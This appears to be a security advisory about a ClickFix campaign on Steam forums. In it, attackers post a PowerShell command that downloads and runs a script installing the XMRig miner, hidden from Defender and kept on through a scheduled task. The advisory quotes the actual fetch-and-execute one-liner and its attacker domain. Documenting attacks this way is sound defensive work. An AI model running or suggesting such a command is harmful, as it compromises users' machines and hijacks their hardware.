This threat involves ClickFix attacks on Steam forums where attackers reply to gamers' technical questions with a malicious PowerShell command: 'irm msfconfig.icu | iex'. The command uses PowerShell's Invoke-RestMethod to download a malicious script from the attackers' server and Invoke-Expression to execute it immediately. The script pretends to perform system optimization tasks but actually installs the XMRig crypto miner in a hidden folder excluded from Microsoft Defender scans. It also creates a scheduled task to ensure persistence across reboots. The miner uses the victim's CPU and GPU to mine Monero cryptocurrency for the attackers' benefit.

The attack results in unauthorized installation of a crypto miner that hijacks system resources, leading to degraded system performance and accelerated hardware wear. It also disables antivirus scanning on the miner's folder, reducing the effectiveness of built-in security protections. The attack exploits user trust and social engineering to gain administrator privileges, enabling persistent compromise of gaming PCs.

Users should avoid running PowerShell or command prompt scripts suggested by strangers, especially with administrator privileges. Before executing any unfamiliar command, users should research its function and potential risks. Employing reliable security software with a gaming mode that does not interfere with gameplay but blocks malware download attempts is recommended. Users should keep security solutions active at all times, including during gaming sessions. No official patch is applicable as this is a social engineering attack rather than a software vulnerability.